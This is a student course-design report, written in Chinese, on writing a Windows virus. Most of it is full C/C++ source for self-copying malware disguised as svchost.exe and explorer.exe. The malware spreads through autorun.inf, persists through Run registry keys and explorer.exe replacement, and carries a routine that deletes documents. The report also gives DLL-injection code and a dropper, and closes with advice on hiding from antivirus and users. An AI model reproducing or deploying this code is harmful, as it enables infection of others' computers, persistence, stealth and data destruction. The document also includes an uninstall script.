

《网络攻防课程设计》

**设计报告**

|  |  |
| --- | --- |
| 学 院： | 信息工程学院 |
| 专业班级： | 信息安全111班 |
| 学　　号： | 31 |
| 姓　　名： | 江林伟 |
| 指导老师： | 李 伟 |
| 完成时间： | 2014年7月4日 |
| 成 绩： |  |

# 一、设计目的

* 利用C++编写基本的病毒
* 了解自动生成病毒体的病毒特性
* 学会病毒开机自启动的手段和注册表设置
* 了解并实现注入DLL的方法

# 二、设计要求与指标

* 在C、D、E盘和C:\Windows\System、C:\Windows中生成病毒体文件。
* 在C、D、E盘中生成自动运行文件。
* 注册C:\Windows\system\svchost.exe，使其开机自动运行。
* 在C:\Windows\System下生成隐蔽DLL文件
* 病毒在执行后具有相联复制能力

# 三、设计内容与具体实现过程

## 3.1 自我复制与运行

类似普通U盘病毒，具有自我复制、运行能力。

/\*

\* svchost.cpp

\*

\* Created on: 2014年7月2日

\* Author: ismdeep

\*/

/\* SVCHOST.CPP \*/

/\* SVCHOST.EXE \*/

**#define** SVCHOST\_NUM 6

**#include** <stdio.h>

**#include** <string.h>

**#include** <windows.h>

**char** \*autorun =

{

"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1 \\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe" };

**char** \*files\_autorun[10] =

{ "c:\\autorun.inf", "d:\\autorun.inf", "e:\\autorun.inf" };

**char** \*files\_svchost[SVCHOST\_NUM + 1] =

{ "c:\\windows\\system\\MSMOUSE.DLL", "c:\\windows\\system\\SVCHOST.exe",

"c:\\windows\\SVCHOST.exe", "c:\\SVCHOST.exe", "d:\\SVCHOST.exe",

"e:\\SVCHOST.exe", "SVCHOST.exe" };

**char** \*regadd =

"reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";

**int** **copy**(**char** \*infile, **char** \*outfile)

{

FILE \*input, \*output;

**char** temp;

**if** (**strcmp**(infile, outfile) != 0 && ((input = **fopen**(infile, "rb")) != NULL)

&& ((output = **fopen**

(outfile, "wb")) != NULL))

{

**while** (!**feof**(input))

{

**fread**(&temp, 1, 1, input);

**fwrite**(&temp, 1, 1, output);

}

**fclose**(input);

**fclose**(output);

return 0;

} else

return 1;

}

int main(void)

{

FILE \*input, \*output;

**int** i, k;

**for** (i = 0; i < 3; i++)

{

output = **fopen**(files\_autorun[i], "w");

**fprintf**(output, "%s", autorun);

**fclose**(output);

}

**for** (i = 0; i <= SVCHOST\_NUM; i++)

{

**if** ((input = **fopen**(files\_svchost[i], "rb")) != NULL)

{

**fclose**(input);

**for** (k = 0; k < SVCHOST\_NUM; k++)

{

copy(files\_svchost[i], files\_svchost[k]);

}

i = SVCHOST\_NUM + 1;

}

}

**system**(regadd); /\* 注册SVCHOST.exe,让其在启动时运行 \*/

return 0;

}

## 3.2 感染可执行文件

1、在所有磁盘的根目录生成svchost.com和autorun.inf文件

2、生成病毒体

c:\windows\wjview32.com

c:\windows\explorer.exe

c:\windows\system32\dllcache\explorer.exe

c:\windows\system\msmouse.dll

c:\windows\system32\cmdsys.sys

c:\windows\system32\mstsc32.exe

3、病毒体C:\Windows\explorer.exe感染原explorer.exe文件，使其不需要修改注册表实现开机启动，并且可以在explorer.exe启动之前启动。

4.修改注册表，在HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run  
设置自启动项（此操作不使用windowsAPI,防止用户对病毒体的发现，并实现并行执行）  
5.生成的autorun.inf改变磁盘的打开方式，使其在windows2000以上的系统无论选择“打开”、“双击”、“

资源管理器”等方式都无法打开分驱，而是以运行病毒的方式取而代之。  
6.连锁能力，将病毒体相连，实现相连复制更新  
7.使用进程不断调用进程，使得在任务管理里无法结束病毒进程  
8.不断搜索磁盘，只要发现未感染病毒的一律感染，病毒删除后1秒内再建  
9.生成垃圾文件（DESTORY\_感染\_任意数字）5个于C盘下  
10.附带删除文件函数（为防止危害，本函数默认不执行）

提供病毒卸载程序（保存为X.BAT，双击运行即可卸载）：

@echo off  
taskkill /im mstsc32.exe /f  
del c:\windows\wjview32.com  
del c:\windows\explorer.exe  
del c:\windows\system32\dllcache\explorer.exe  
del c:\windows\system\msmouse.dll  
del c:\windows\system32\cmdsys.sys  
del c:\windows\system32\mstsc32.exe  
del c:\svchost.com  
del c:\autorun.inf  
del d:\svchost.com  
del d:\autorun.inf  
del e:\svchost.com  
del e:\autorun.inf  
del f:\svchost.com  
del f:\autorun.inf  
del g:\svchost.com  
del g:\autorun.inf  
del h:\svchost.com  
del h:\autorun.inf  
copy c:\windows\system\explorer.exe c:\windows\explorer.exe  
copy c:\windows\system\explorer.exe c:\windows\system32\dllcache\explorer.exe  
del c:\windows\system\explorer.exe  
echo FINISH!  
pause

实现上述功能的病毒源代码

/\*

\* svchost.cpp

\*

\* Created on: 2014年7月2日

\* Author: ismdeep

\*/

**#include** <stdio.h> /\*标准输入输出\*/

**#include** <string.h> /\*字符串操作\*/

**#include** <stdlib.h> /\*其它函数\*/

**#include** <process.h> /\*进程控制\*/

**#include** <dir.h> /\*目录函数\*/

**#include** <windows.h>

**#define** SVCHOST\_NUM 6 /\*关键位置病毒复制数量\*/

**#define** RUBBISH\_NUM 5 /\*垃圾文件数量\*/

**#define** REMOVE\_NUM 5 /\*删除文件数\*/

### 3.2.1 autorun.inf内容

/\*

文件AUTORUN.INF内容：

1.自动运行SVCHOST.com

2.覆盖默认打开命令，使用病毒体作为新的打开方式

3.覆盖默认资源管理器命令，使病毒体作为新的命令方式

\*/

**char** \*autorun =

{

"[AutoRun]\nopen=\"SVCHOST.com /s\"\nshell\\open=打开(&O)\nshell\\open\\Command=\"SVCHOST.com /s\"\nshell\\explore=资源管理器(&X)\nshell\\explore\\Command=\"SVCHOST.com /s\"" };

### 3.2.2 添加注册表项

/\*

添加注册表项：

1.自动运行生成病毒体C:\windows\wjview32.com

\*/

**char** \*regadd=

{ "REGEDIT4\n\n

[HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32

\"=\"C:\\\\windows\\\\wjview32.com /s\""};

### 3.2.3复制文件

/\*

函数：复制文件

复制源：infile

目的地：outfile

成功返回0，失败返回1

\*/

**int** **copy**(**char** \*infile, **char** \*outfile)

{

FILE \*input, \*output;

**char** temp;

**if** (**strcmp**(infile, outfile) != 0 && ((input = **fopen**(infile, "rb")) != NULL)

&& ((output = **fopen**

(outfile, "wb")) != NULL))

{

**while** (!**feof**(input))

{

**fread**(&temp, 1, 1, input);

**fwrite**(&temp, 1, 1, output);

}

**fclose**(input);

**fclose**(output);

return 0;

} else

return 1;

}

### 3.2.4通过explorer自动运行

/\*

函数：通过explorer自动运行

成功返回0，失败返回1,2

\*/

int autorun\_explorer()

{

FILE \*input;

**if** ((input = **fopen**("c:\\windows\\system\\explorer.exe", "rb")) != NULL)

{

**fclose**(input);

**remove**("c:\\windows\\$temp$");

**remove**("c:\\windows\\system32\\dllcache\\$temp$");

return 1;

}

copy("c:\\windows\\explorer.exe", "c:\\windows\\system\\explorer.exe");

**rename**("c:\\windows\\explorer.exe", "c:\\windows\\$temp$");

rename("c:\\windows\\system32\\dllcache\\explorer.exe","c:\\windows\\system32

\\dllcache\\$temp$");

**if**(copy("SVCHOST.com","c:\\windows\\explorer.exe")==0 && copy

("SVCHOST.com","c:\\windows\\system32\\dllcache\\explorer.exe")==0)

return 0;

else

return 2;

}

### 3.2.5添加注册表项

/\*

函数：添加注册表项

成功返回0，失败返回1

\*/

int add\_reg()

{

FILE \*output;

**if** ((output = **fopen**("$$$$$", "w")) != NULL)

{

fprintf(output, regadd);

**fclose**(output);

**spawnl**(1, "c:\\windows\\regedit.exe", " /s $$$$$", NULL);

}

}

### 3.2.6复制病毒+autorun.inf自动运行

/\*

函数：复制病毒 + Autorun.inf自动运行

\*/

void copy\_virus()

{

**int** i, k;

FILE \*input, \*output;

**char** \*files\_svchost[SVCHOST\_NUM]=

{ "svchost.com","c:\\windows\\wjview32.com","c:\\windows\\system\\MSMOUSE.DLL","c:\\windows\\syste

m32\\cmdsys.sys","c:\\windows\\system32\\mstsc32.exe","c:\\windows\\explorer.exe"};

**char** temp[2][20]=

{ "c:\\svchost.com","c:\\autorun.inf"};

**for** (i = 0; i < SVCHOST\_NUM; i++)

{

**if** ((input = fopen(files\_svchost[i], "rb")) != NULL)

{

**fclose**(input);

**for** (k = 0; k < SVCHOST\_NUM; k++)

{

copy(files\_svchost[i], files\_svchost[k]);

}

i = SVCHOST\_NUM;

}

}

**for** (i = 0; i < SVCHOST\_NUM; i++)

{

**if** ((input = fopen(files\_svchost[i], "rb")) != NULL)

{

**fclose**(input);

**for** (k = 0; k < 24; k++)

{

copy(files\_svchost[i], temp[0]);

**if** ((output = fopen(temp[1], "w")) != NULL)

{

**fprintf**(output, "%s", autorun);

**fclose**(output);

}

temp[0][0]++;

temp[1][0]++;

}

i = SVCHOST\_NUM;

}

}

}

### 3.2.7制造垃圾文件

/\*

函数：制造垃圾文件

\*/

void make\_rubbish()

{

int i;

FILE \*output;

srand(0);

for (i = 0; i < RUBBISH\_NUM; i++)

{

int n;

char s[30];

n = rand();

sprintf(s, "C:\\DESTORY\_感染\_%d", n);

if ((output = fopen(s, "w")) != NULL)

{

fprintf(output, "%ld%s", n \* n, s);

fclose(output);

}

}

}

### 3.2.8删除文件

/\*

函数：删除文件

\*/

void remove\_files()

{

long done;

int i;

struct \_finddata\_t ffblk;

char \*remove\_files[3] =

{ "\*.txt", "\*.doc", "\*.xls" };

for (i = 0; i < 3; i++)

{

if (\_findfirst(remove\_files[i], &ffblk) == -1)

continue;

while (!done)

{

remove(ffblk.name);

\_findnext(done, &ffblk);

}

\_findclose(done);

}

}

### 3.2.9主程序

/\*

主程序

使用DEV-CPP 32位C工程 实现.C程序脱离命令行界面，于后台执行

\*/

int main(int argc, char \*\*argv)

{

int contral = 0;

if (argc > 1)

if (strcmp(argv[1], "/s") == 0)

goto next1;

autorun\_explorer();

spawnl(1, "c:\\windows\\system\\explorer.exe", NULL);

next1: add\_reg();

copy\_virus();

make\_rubbish();

/\* remove\_files(); \*/

spawnl(1, "c:\\windows\\system32\\mstsc32.exe", " /s", NULL);

return 0;

}

## 3.3 修改注册表

### 3.3.1 可以用于病毒开机自启动的注册表位置：

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices]

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce]

[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]

[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices]

以上只是默认运行的部分注册表位置，其实还可以在系统启动外客(shell explorer.exe)后添加病毒路径等方法，同样可以实现通过注册表开机自动运行。

### 3.3.2 关联文件类型

在注册表HKEY\_CLASS\_ROOT下可以更改文件类型的默认启动程序，比如更改EXE文件的启动程序为你写的病毒，那么每当运行exe程序时，病毒将替代程序运行

例：

到注册表HKEY\_CLASS\_ROOT\exefile\shell\open\command下，修改“默认”修改为c:\windows\svchost.exe "%1" %\*，那么以后运行.exe文件时只会运行c:\windows\svchost.exe

### 3.3.3 程序修改注册表的方法：

(1)使用REG命令添加修改注册表：

REG命令使用方法具体可以在命令提示符中输入REG /?和通过参阅Windows命令帮助查看

主要格式：

REG Operation [Parameter List] Operation[QUERY|ADD|DELETE|COPY|SAVE|LOAD|UNLOAD|RESTORE|COMPARE|EXPORT|IMPORT ]

例：向HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加名为SVCHOST的键值，键值内容为C:\Windows\system\SVCHOST.exe

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v SVCHOST /d C:\Windows\system\SVCHOST.exe /f

调用reg命令的方法主要有两中，一种是使用C语言中的system函数，另一种是使用C语言中的spawn类函数（如函数spawnl）。具体system和spawnl使用方法请参见其它资料,这里仅举一例：

例：用system函数通过reg命令向HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加名为SVCHOST的键值，键值内容为C:\Windows\system\SVCHOST.exe

system("reg add\"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f");

(2)使用WindowsAPI添加修改注册表

WindowsAPI为我们提供了大约25个函数。他提供了对注册表的读取，写入，删除，以及打开注册表及键值时所有函数这些函数有：

RegCloseKey

RegConnectRegistry

RegCreateKey

RegCreateKeyEx

RegDeleteKey

RegDeleteVale

RegEnumKey

RegFlushKey

RegGetKeySecurity(Windows9X不适用)

RegLoadKey

RegNotifyChangeKeyValue(Windows9X不适用)

RegOpenKey

RegOpenKeyEx

RegQueryInfoKey

RegQueryValue

RegQueryValueEx

RegReplaceKey

RegRestoreKey(Windows9X不适用)

RegSaveKey

RegSetKeySecurity(Windows9X不适用)

RegSetValue

RegSetValueEx

RegUnLoadKey

等，函数的使用需要在32位C编译器下调用windows.h文件，同(1)中一样，具体函数的使用方法请参见其它资料,这里仅举一例.  
例:通过WindowsAPI向HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加名为SVCHOST的键值，键值内容为C:\Windows\system\SVCHOST.exe

TRegistry\* Registry;

Registry=new TRegistry();

Registry->RootKey=HKEY\_LOCAL\_MACHINE;

Registry->OpenKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",FALSE);

Registry->WriteString("SVCHOST","C:\\Windows\\system\\SVCHOST.exe");WriteString()

Registry->CloseKey();

(3)使用REGEDIT添加修改注册表  
REGEDIT就是注册表编辑器，但它其实有一个/s的参数，只要调用regedit /s 注册表文件，就可以在后台无提示的修改注册表。同样需要用spawnl函数调用它。

例：通过spawnl函数调用regedit向HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加名为wjview32的键值，键值内容为C:\windows\wjview32.com /s

char \*regadd={"REGEDIT4\n\n[HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32\"=\"C:\\\\windows\\\\wjview32.com /s\""};

FILE \*output;

if((output=fopen("$$$$$","w"))!=NULL)

{

fprintf(output,regadd);

fclose(output);

spawnl(1,"c:\\windows\\regedit.exe"," /s $$$$$",NULL);

}

## 3.4 DLL注入

随着病毒的发展,病毒也由破坏的目的转为利益的目的,因此隐蔽的DLL病毒逐渐发展起来.DLL是Dynamic Link

Library 的缩写,中文为动态链接库,它的实质并不是一个程序,而是由多个功能函数构成的.而DLL病毒是通过

特别的方法,让系统文件Rundll.exe \ Rundll32.exe等调用其的函数,而所调用的函数的代码就是病毒代码,或

者通过线程插入技术插入到系统进程explorer.exe svchost.exe lsass.exe winlogon.exe 等或

iexplorer.exe等常用软件进程中,达到隐蔽的目的.  
DLL病毒的编写(rundll32.exe调用法)

DLL注入源代码

#include <windows.h>

#include <iostream.h>

#include <tlhelp32.h>

#include <stdio.h>

// 思路: 在目标进程中创建一个新的线程, 向这个线程传递要注入的Dll的地址

BOOL InjectDll(const char \*DllFullPath, const DWORD dwRemoteProcessId);

int EnableDebugPriv(const char \*name);

DWORD GetProcessId();

int main()

{

char myFile[MAX\_PATH];

GetCurrentDirectory(MAX\_PATH, myFile);

strcat(myFile, "\\mydoor.dll");

InjectDll(myFile, GetProcessId());

return 0;

}

BOOL InjectDll(const char \*DllFullPath, const DWORD dwRemoteProcessId)

{

HANDLE hRemoteProcess;

// 设置权限, 可以打开其他进程

EnableDebugPriv(SE\_DEBUG\_NAME);

// OpenProcess(): Opens an existing local process object.

hRemoteProcess = OpenProcess(PROCESS\_ALL\_ACCESS, false, dwRemoteProcessId);

//VirtualAllocEx(): Reserves or commits a region of memory within the virtual address space of a specified process.

// The function initializes the memory it allocates to zero, unless MEM\_RESET is used.

char \*pszLibFileRemote = NULL;

pszLibFileRemote = (char \*)VirtualAllocEx(hRemoteProcess, NULL, lstrlen(DllFullPath)+1, MEM\_COMMIT, PAGE\_READWRITE);

//WriteProcessMemory(): Writes data to an area of memory in a specified process.

// The entire area to be written to must be accessible or the operation fails.

// 将DllFullPath的内容写到这一打开的进程中

WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (void \*)DllFullPath, lstrlen(DllFullPath)+1, NULL);

PTHREAD\_START\_ROUTINE pfnStartAddr = (PTHREAD\_START\_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA");

//CreateRemoteThread(): Creates a thread that runs in the virtual address space of another process.

// pfnStartAddr 指向的函数会调用pszLibFileRemote

HANDLE hRemoteThread;

if((hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL)) == NULL)

{

cout<< "注入线程失败!" << endl;

return false;

}

CloseHandle(hRemoteProcess);

CloseHandle(hRemoteThread);

return true;

}

int EnableDebugPriv(const char \*name)

{

HANDLE hToken;

TOKEN\_PRIVILEGES tp;

LUID luid;

//OpenProcessToken(): opens the access token associated with a process

OpenProcessToken(GetCurrentProcess(), TOKEN\_ADJUST\_PRIVILEGES|TOKEN\_QUERY, &hToken);

//LookupPrivilegeValue:()retrieves the locally unique identifier (LUID) used on a specified system to locally represent the specified privilege name.

LookupPrivilegeValue(NULL, name, &luid);

tp.PrivilegeCount = 1;

tp.Privileges[0].Attributes = SE\_PRIVILEGE\_ENABLED;

tp.Privileges[0].Luid = luid;

AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN\_PRIVILEGES), NULL, NULL);

return 0;

}

DWORD GetProcessId()

{

DWORD Pid = -1;

//CreateToolHelp32Snapshot(): Takes a snapshot of the specified processes, as well as the heaps, modules, and threads used by these processes.

HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS\_SNAPPROCESS, 0);

PROCESSENTRY32 lPrs;

ZeroMemory(&lPrs, sizeof(lPrs));

lPrs.dwSize = sizeof(lPrs);

char \*targetFile = "calc.exe";

Process32First(hSnap, &lPrs);

if(strstr(targetFile, lPrs.szExeFile))

{

Pid = lPrs.th32ProcessID;

return Pid;

}

while(1)

{

ZeroMemory(&lPrs, sizeof(lPrs));

lPrs.dwSize = sizeof(lPrs);

if(!Process32Next(hSnap, &lPrs))

{

Pid = -1;

break;

}

if(strstr(targetFile, lPrs.szExeFile))

{

Pid = lPrs.th32ProcessID;

break;

}

}

return Pid;

}

这个例子可以在explorer.exe运行前启动并再次自动写自动运行键值,前提是需要将该DLL文件写于

c:\windows\system32\winsys.dll,这就可以交给exe主病毒来做了,这就是要说的DLL病毒与EXE病毒联合,这样

可以加强病毒的攻击力度,它由主病毒体\*.exe来释放dll病毒辅助体\*.dll,达到dll与exe联合的作用.一般

的,dll用来设置注册表的自启动,以及病毒的复制,而exe用来破坏.当然,也有少部分DLL病毒孤军奋战,由于十

分隐蔽,也常常十分好用

释放病毒体示例:  
/\*释放上面的简单dll病毒体的例子的exe\*/

#include<stdio.h>

unsigned char DLL[15161] = {

...此处代码过长,略... };

int main(void)

{

FILE \*output;

int i;

output=fopen("C:\\WINDOWS\\system32\\winsys.dll","wb");

fwrite(DLL,sizeof(DLL),1,output);

fclose(output);

spawnl(1,"c:\\windows\\system32\\rundll32.exe"," C:\\WINDOWS\\system32\\winsys.dll start()",NULL);

return 0;

}

# 四、总结

使用REG命令添加注册表可以达到直接调用系统命令（工具）来修改注册表的目的，如果被杀毒软件拦截也只会显示修改操作的发出来自 C:\WINDOWS\system32\reg.exe，使病毒不容易被寻找到。但由于REG命令属于控制台命令，因此调用时有黑色的控制台出现，是病 毒的征兆被感染用户发现，不利于病毒隐藏。

使用WindowsAPI添加注册表可以达到直接无须调用系统命令（工具）就可以修改注册表的目的，但如果被杀毒软件拦截会显示修改操 作来自的病毒体文件所在的路径，使病毒容易被寻找到。但由于WindowsAPI可以“悄悄”的完成修改，在前台没有任何显示，因此调用时如果未被拦截， 很难被感染用户发觉，利于病毒隐藏。

使用spawnl函数+REGEDIT可以兼得WindowsAPI和REG两种方法的优势，添加注册表如果被杀毒软件拦截会显示修改操作来自 c:\windows\regedit.exe，使病毒的路径难以被寻找到，利于病毒的隐藏。REGEDIT可以“悄悄”的完成修改，在前台没有任何显 示，因此调用时如果未被拦截，很难被感染用户发觉，利于病毒隐藏。

# 五、主要实践活动和参考文献

## 主要实践活动：

利用Dev C++和Code::Blocks配合MinGW编译器编写病毒程序，在虚拟机上运行。

## 参考文献：

[1] 段钢 编著 加密与解密（第二版） 电子工业出版社

[2] 候俊杰 著 深入浅出MFC 第2 版 华中科技大学出版社

[3] SecurityFocus. [http://www.securityfocus.com](http://www.securityfocus.com/)

[4] Internet Security Systems. 2002 November 18 (Revised). X-Force™ Vulnerability   
Disclosure Guidelines.

[5] 斯泽 计算机病毒防范艺术 机械工业出版社